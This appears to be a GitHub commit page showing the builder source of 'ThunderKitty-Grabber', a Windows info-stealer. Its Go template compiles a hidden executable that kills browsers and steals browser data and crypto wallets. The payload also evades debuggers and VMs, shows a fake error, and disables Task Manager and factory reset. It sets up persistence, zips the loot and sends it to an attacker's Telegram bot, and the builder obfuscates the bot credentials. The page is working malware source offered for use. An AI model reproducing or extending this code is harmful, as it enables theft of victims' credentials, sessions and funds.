Skip to content

Commit 0879d04

Browse files
authored
Add files via upload
1 parent 4c01a67 commit 0879d04

File tree

25 files changed

+2423
-0
lines changed

25 files changed

+2423
-0
lines changed

main.go

Lines changed: 379 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,379 @@
1+
package main
2+
3+
import (
4+
"encoding/base64"
5+
"fmt"
6+
"math/rand"
7+
"os"
8+
"os/exec"
9+
"text/template"
10+
"time"
11+
"github.com/fatih/color"
12+
)
13+
14+
type Config struct {
15+
TeleBotToken string
16+
TeleChatID string
17+
EnableAntiDebug bool
18+
EnableFakeError bool
19+
EnableBrowsers bool
20+
HideConsole bool
21+
DisableFactoryReset bool
22+
DisableTaskManager bool
23+
EnablePersistence bool
24+
EnableTokenGrabber bool
25+
EnableCryptoWallets bool
26+
Key byte
27+
}
28+
29+
func EncryptString(input string, key byte) string {
30+
data := []byte(input)
31+
encrypted := make([]byte, len(data))
32+
for i := 0; i < len(data); i++ {
33+
shiftedKey := (key << 2) | (key >> 3)
34+
reversed := ((data[i] & 0xF0) >> 4) | ((data[i] & 0x0F) << 4)
35+
encrypted[i] = (reversed + byte(i)) ^ shiftedKey
36+
}
37+
return base64.StdEncoding.EncodeToString(encrypted)
38+
}
39+
40+
func GenerateRandomVarName() string {
41+
const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
42+
var name string
43+
for i := 0; i < 10; i++ {
44+
name += string(letters[rand.Intn(len(letters))])
45+
}
46+
return name
47+
}
48+
49+
func buildExecutable(cfg Config) {
50+
randomTokenVar := GenerateRandomVarName()
51+
randomChatIDVar := GenerateRandomVarName()
52+
randomKeyVar := GenerateRandomVarName()
53+
54+
const templateContent = `package main
55+
56+
import (
57+
"ThunderKitty-Grabber/utils/hideconsole"
58+
"ThunderKitty-Grabber/utils/antidbgandvm"
59+
"ThunderKitty-Grabber/utils/mutex"
60+
"ThunderKitty-Grabber/utils/fakeerror"
61+
"ThunderKitty-Grabber/utils/browsers"
62+
"ThunderKitty-Grabber/utils/disablefactoryreset"
63+
"ThunderKitty-Grabber/utils/taskmanager"
64+
"ThunderKitty-Grabber/utils/persistence"
65+
"ThunderKitty-Grabber/utils/cryptowallets"
66+
"ThunderKitty-Grabber/utils/telegramsend"
67+
"os"
68+
"os/exec"
69+
"fmt"
70+
"sync"
71+
"encoding/base64"
72+
"archive/zip"
73+
"syscall"
74+
"io/fs"
75+
"io/ioutil"
76+
"path/filepath"
77+
)
78+
79+
const (
80+
{{.RandomTokenVar}} = "{{.TeleBotToken}}"
81+
{{.RandomChatIDVar}} = "{{.TeleChatID}}"
82+
{{.RandomKeyVar}} = {{.Key}}
83+
)
84+
85+
func DecryptString(input string, key byte) string {
86+
decoded, err := base64.StdEncoding.DecodeString(input)
87+
if err != nil {
88+
return ""
89+
}
90+
decrypted := make([]byte, len(decoded))
91+
for i := 0; i < len(decoded); i++ {
92+
shiftedKey := (key << 2) | (key >> 3)
93+
decrypted[i] = (decoded[i] ^ shiftedKey) - byte(i)
94+
decrypted[i] = ((decrypted[i] & 0xF0) >> 4) | ((decrypted[i] & 0x0F) << 4)
95+
}
96+
return string(decrypted)
97+
}
98+
func zipFolder(source string, target string) error {
99+
zipFile, err := os.Create(target)
100+
if err != nil {
101+
return err
102+
}
103+
defer zipFile.Close()
104+
zipWriter := zip.NewWriter(zipFile)
105+
defer zipWriter.Close()
106+
err = filepath.Walk(source, func(file string, info fs.FileInfo, err error) error {
107+
if err != nil {
108+
return err
109+
}
110+
header, err := zip.FileInfoHeader(info)
111+
if err != nil {
112+
return err
113+
}
114+
header.Name, err = filepath.Rel(filepath.Dir(source), file)
115+
if err != nil {
116+
return err
117+
}
118+
if info.IsDir() {
119+
header.Name += "/"
120+
}
121+
writer, err := zipWriter.CreateHeader(header)
122+
if err != nil {
123+
return err
124+
}
125+
if !info.IsDir() {
126+
data, err := ioutil.ReadFile(file)
127+
if err != nil {
128+
return err
129+
}
130+
_, err = writer.Write(data)
131+
if err != nil {
132+
return err
133+
}
134+
}
135+
return nil
136+
})
137+
return err
138+
}
139+
140+
func killBrowsers() {
141+
browsers := []string{
142+
"chrome.exe", "firefox.exe", "brave.exe", "opera.exe",
143+
"kometa.exe", "orbitum.exe", "centbrowser.exe", "7star.exe",
144+
"sputnik.exe", "vivaldi.exe", "epicprivacybrowser.exe",
145+
"msedge.exe", "uran.exe", "yandex.exe", "iridium.exe",
146+
}
147+
for _, browser := range browsers {
148+
cmd := exec.Command("taskkill", "/F", "/IM", browser)
149+
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
150+
_ = cmd.Run()
151+
}
152+
}
153+
154+
func main() {
155+
var wg sync.WaitGroup
156+
157+
TelegramBotToken := DecryptString({{.RandomTokenVar}}, {{.RandomKeyVar}})
158+
TelegramChatId := DecryptString({{.RandomChatIDVar}}, {{.RandomKeyVar}})
159+
160+
if {{.HideConsole}} {
161+
wg.Add(1)
162+
go func() {
163+
defer wg.Done()
164+
HideConsole.Hide()
165+
}()
166+
} else {
167+
fmt.Println("Hide console not enabled")
168+
}
169+
170+
if {{.EnableAntiDebug}} {
171+
AntiDebugVMAnalysis.Check()
172+
} else {
173+
fmt.Println("Anti-debugging and VM analysis not enabled")
174+
}
175+
176+
if {{.EnableFakeError}} {
177+
wg.Add(1)
178+
go func() {
179+
defer wg.Done()
180+
FakeError.Show()
181+
}()
182+
} else {
183+
fmt.Println("Fake error not enabled")
184+
}
185+
186+
wg.Add(1)
187+
go func() {
188+
defer wg.Done()
189+
Mutex.Create()
190+
}()
191+
killBrowsers()
192+
193+
if {{.EnableBrowsers}} {
194+
wg.Add(1)
195+
go func() {
196+
defer wg.Done()
197+
browsers.ThunderKittyGrab()
198+
}()
199+
} else {
200+
fmt.Println("Browser info grabbing not enabled")
201+
}
202+
203+
if {{.EnableCryptoWallets}} {
204+
wg.Add(1)
205+
go func() {
206+
defer wg.Done()
207+
CryptoWallets.Run()
208+
}()
209+
} else {
210+
fmt.Println("Crypto Wallets not enabled")
211+
}
212+
213+
if {{.DisableFactoryReset}} {
214+
wg.Add(1)
215+
go func() {
216+
defer wg.Done()
217+
FactoryReset.Disable()
218+
}()
219+
} else {
220+
fmt.Println("Factory reset not disabled")
221+
}
222+
223+
if {{.DisableTaskManager}} {
224+
wg.Add(1)
225+
go func() {
226+
defer wg.Done()
227+
TaskManager.Disable()
228+
}()
229+
} else {
230+
fmt.Println("Task manager not disabled")
231+
}
232+
233+
if {{.EnablePersistence}} {
234+
wg.Add(1)
235+
go func() {
236+
defer wg.Done()
237+
Persistence.Create()
238+
}()
239+
} else {
240+
fmt.Println("Persistence not enabled")
241+
}
242+
243+
wg.Wait()
244+
245+
sourceDir := os.TempDir() + "\\ThunderKitty"
246+
targetZip := os.TempDir() + "\\ThunderKitty.zip"
247+
248+
err := zipFolder(sourceDir, targetZip)
249+
if err != nil {
250+
fmt.Println("Error zipping folder:", err)
251+
return
252+
}
253+
254+
err = requests.SendTelegramDocument(TelegramBotToken, TelegramChatId, targetZip)
255+
if err != nil {
256+
fmt.Println("Error sending document:", err)
257+
} else {
258+
fmt.Println("Document sent successfully.")
259+
}
260+
}
261+
`
262+
tmpl, err := template.New("main").Parse(templateContent)
263+
if err != nil {
264+
fmt.Println("Error parsing template:", err)
265+
return
266+
}
267+
268+
file, err := os.Create("main.go")
269+
if err != nil {
270+
fmt.Println("Error creating main.go:", err)
271+
return
272+
}
273+
defer file.Close()
274+
275+
err = tmpl.Execute(file, map[string]interface{}{
276+
"TeleBotToken": cfg.TeleBotToken,
277+
"TeleChatID": cfg.TeleChatID,
278+
"Key": cfg.Key,
279+
"RandomTokenVar": randomTokenVar,
280+
"RandomChatIDVar": randomChatIDVar,
281+
"RandomKeyVar": randomKeyVar,
282+
"HideConsole": cfg.HideConsole,
283+
"EnableAntiDebug": cfg.EnableAntiDebug,
284+
"EnableFakeError": cfg.EnableFakeError,
285+
"EnableBrowsers": cfg.EnableBrowsers,
286+
"EnableCryptoWallets": cfg.EnableCryptoWallets,
287+
"DisableFactoryReset": cfg.DisableFactoryReset,
288+
"DisableTaskManager": cfg.DisableTaskManager,
289+
"EnablePersistence": cfg.EnablePersistence,
290+
})
291+
if err != nil {
292+
fmt.Println("Error executing template:", err)
293+
return
294+
}
295+
296+
ldflags := "-s -w"
297+
if cfg.HideConsole {
298+
ldflags += " -H=windowsgui"
299+
}
300+
cmd := exec.Command("cmd", "/C", "go", "build", "-ldflags", ldflags, "-o", "ThunderKitty-Built.exe", "main.go")
301+
302+
cmd.Stdout = os.Stdout
303+
cmd.Stderr = os.Stderr
304+
305+
err = cmd.Run()
306+
if err != nil {
307+
fmt.Println("Error building executable:", err)
308+
return
309+
}
310+
311+
fmt.Println("Build successful")
312+
}
313+
314+
func main() {
315+
rand.Seed(time.Now().UnixNano())
316+
cyan := color.New(color.FgCyan).SprintFunc()
317+
318+
fmt.Println(cyan("Please enter your Telegram Bot Token:"))
319+
var teleBotToken string
320+
fmt.Scanln(&teleBotToken)
321+
322+
fmt.Println(cyan("Please enter your Telegram Chat ID:"))
323+
var teleChatID string
324+
fmt.Scanln(&teleChatID)
325+
326+
var enableAntiDebug, enableFakeError, enableBrowsers, hideConsole, disableFactoryReset, disableTaskManager, enablePersistence, enableCryptoWallets bool
327+
328+
fmt.Println(cyan("Enable Anti-Debugging? (yes/no):"))
329+
var input string
330+
fmt.Scanln(&input)
331+
enableAntiDebug = input == "yes"
332+
333+
fmt.Println(cyan("Enable Fake Error? (yes/no):"))
334+
fmt.Scanln(&input)
335+
enableFakeError = input == "yes"
336+
337+
fmt.Println(cyan("Enable Browsers Info Grabbing? (yes/no):"))
338+
fmt.Scanln(&input)
339+
enableBrowsers = input == "yes"
340+
341+
fmt.Println(cyan("Enable Crypto Wallets? (yes/no):"))
342+
fmt.Scanln(&input)
343+
enableCryptoWallets = input == "yes"
344+
345+
fmt.Println(cyan("Hide Console? (yes/no):"))
346+
fmt.Scanln(&input)
347+
hideConsole = input == "yes"
348+
349+
fmt.Println(cyan("Disable Factory Reset? (yes/no):"))
350+
fmt.Scanln(&input)
351+
disableFactoryReset = input == "yes"
352+
353+
fmt.Println(cyan("Disable Task Manager? (yes/no):"))
354+
fmt.Scanln(&input)
355+
disableTaskManager = input == "yes"
356+
357+
fmt.Println(cyan("Enable Persistence? (yes/no):"))
358+
fmt.Scanln(&input)
359+
enablePersistence = input == "yes"
360+
361+
key := byte(rand.Intn(256))
362+
363+
cfg := Config{
364+
TeleBotToken: EncryptString(teleBotToken, key),
365+
TeleChatID: EncryptString(teleChatID, key),
366+
EnableAntiDebug: enableAntiDebug,
367+
EnableFakeError: enableFakeError,
368+
EnableBrowsers: enableBrowsers,
369+
HideConsole: hideConsole,
370+
DisableFactoryReset: disableFactoryReset,
371+
DisableTaskManager: disableTaskManager,
372+
EnablePersistence: enablePersistence,
373+
EnableCryptoWallets: enableCryptoWallets,
374+
Key: key,
375+
}
376+
377+
buildExecutable(cfg)
378+
fmt.Scanln()
379+
}

utils/antidbgandvm/antivm.go

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
package AntiDebugVMAnalysis
2+
3+
func Check() {
4+
AntiVMCheckAndExit()
5+
}

0 commit comments

Comments
 (0)